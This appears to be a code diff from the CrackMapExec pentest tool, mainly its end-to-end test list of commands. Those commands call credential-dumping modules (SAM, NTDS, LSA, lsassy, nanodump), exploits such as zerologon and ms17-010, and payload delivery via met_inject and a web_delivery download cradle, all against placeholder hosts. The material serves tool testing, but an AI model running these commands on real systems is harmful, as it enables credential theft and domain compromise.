if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
@ -745,9 +819,11 @@ class ldap(connection):
try: try:
if self.ldapConnection: if self.ldapConnection:
logging.debug('Search Filter=%s' % searchFilter) logging.debug('Search Filter=%s' % searchFilter)
resp = self.ldapConnection.search(searchFilter=searchFilter, resp = self.ldapConnection.search(
attributes=attributes, searchFilter=searchFilter,
sizeLimit=sizeLimit) attributes=attributes,
sizeLimit=sizeLimit
)
return resp return resp
except ldap_impacket.LDAPSearchError as e: except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0: if e.getErrorString().find('sizeLimitExceeded') >= 0:

View File

@ -1,65 +1,171 @@
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --shares crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --shares --filter-shares READ WRITE crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --pass-pol crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --pass-pol
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --disks crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --disks
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --groups crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --groups
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --sessions crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sessions
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --loggedon-users crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --loggedon-users
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --users crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --users
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --computers crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --computers
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --rid-brute crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --rid-brute
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --local-groups crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-groups
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --local-auth crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-auth
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --sam crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sam
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --ntds crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --ntds
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --lsa crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --lsa
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --dpapi crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --dpapi
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -x whoami crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -x whoami
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -X whoami crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -X whoami --obfs crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami --obfs
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --wmi "os get" crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --wmi "os get"
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M ntdsutil crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M nopac crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M enum_av crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M wifi crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M petitpotam crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M spooler # crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M dfscoerce crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M shadowcoerce crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M enum_dns crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M gpp_autologin crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M gpp_password crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M lsassy crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M impersonate crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M install_elevated crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M ioxidresolver crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M MS17-010 crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz --options
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M ntlmv1 crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe"
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M runasppl crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M uac crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M webdav crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M wifi crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M winscp crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=CHECK USER=USERNAME
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=disable
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
# spider_plus takes a while to run, so it is commented out during normal testing
# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=enable
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=disable
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav -o MSG="Message: {}"
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010 --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp --options
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon --options
crackmapexec smb TARGET -u '' -p '' -M zerologon crackmapexec smb TARGET -u '' -p '' -M zerologon
crackmapexec smb TARGET -u '' -p '' -M petitpotam crackmapexec smb TARGET -u '' -p '' -M petitpotam
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --users crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --users
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --groups crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --groups
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --get-sid crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --get-sid
crackmapexec ldap TARGET -u USER -p '' --asreproast /tmp/output.txt crackmapexec ldap TARGET -u USERNAME -p '' --asreproast /tmp/output.txt
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --trusted-for-delegation crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --trusted-for-delegation
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --admin-count crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --admin-count
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --gmsa crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --gmsa
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M laps crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M maq crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs --options
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-desc-users crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M adcs crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread --options
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-network crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-network -o ONLY_HOSTS=true crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-network -o ALL=true crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M ldap-checker crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network --options
crackmapexec winrm TARGET -u USER -p PASSWORD crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership --options
crackmapexec winrm TARGET -u USER -p PASSWORD -X whoami crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership -o USER=USERNAME
crackmapexec winrm TARGET -u USER -p PASSWORD --laps crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps --options
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker --options
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq --options
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets --options
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc --options
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami --options
crackmapexec winrm TARGET -u USERNAME -p PASSWORD
crackmapexec winrm TARGET -u USERNAME -p PASSWORD -X whoami
crackmapexec winrm TARGET -u USERNAME -p PASSWORD --laps
crackmapexec mssql TARGET -u USERNAME -p PASSWORD
# crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M empire_exec
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M met_inject --options
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M mssql_priv
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M mssql_priv --options
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M nanodump
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M nanodump --options
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M test_connection --options
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M test_connection -o HOST=localhost
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M web_delivery --options
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M web_delivery -o URL=localhost/dl_cradle

View File

@ -31,9 +31,11 @@ def generate_commands():
with open(commands_file) as file: with open(commands_file) as file:
for line in file: for line in file:
if line.startswith("#"):
continue
line = line.strip() line = line.strip()
line = line.replace("TARGET", args.target) \ line = line.replace("TARGET", args.target) \
.replace("USER", f"\"{args.username}\"") \ .replace("USERNAME", f"\"{args.username}\"") \
.replace("PASSWORD", f"\"{args.password}\"") \ .replace("PASSWORD", f"\"{args.password}\"") \
.replace("KERBEROS", kerberos) .replace("KERBEROS", kerberos)
lines.append(line) lines.append(line)

View File

@ -5,9 +5,10 @@ import os
import pytest import pytest
from sqlalchemy import create_engine from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy.orm import sessionmaker, scoped_session
from cme.cmedb import create_workspace, delete_workspace from cme.cmedb import create_workspace, delete_workspace
from cme.first_run import first_run_setup from cme.first_run import first_run_setup
from cme.loaders.protocol_loader import protocol_loader from cme.loaders.protocolloader import ProtocolLoader
from cme.logger import setup_logger, CMEAdapter from cme.logger import setup_logger, CMEAdapter
from cme.paths import WS_PATH from cme.paths import WS_PATH
from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.dialects.sqlite import Insert
@ -31,7 +32,7 @@ def db_setup(db_engine):
setup_logger() setup_logger()
logger = CMEAdapter() logger = CMEAdapter()
first_run_setup(logger) first_run_setup(logger)
p_loader = protocol_loader() p_loader = ProtocolLoader()
protocols = p_loader.get_protocols() protocols = p_loader.get_protocols()
create_workspace("test", p_loader, protocols) create_workspace("test", p_loader, protocols)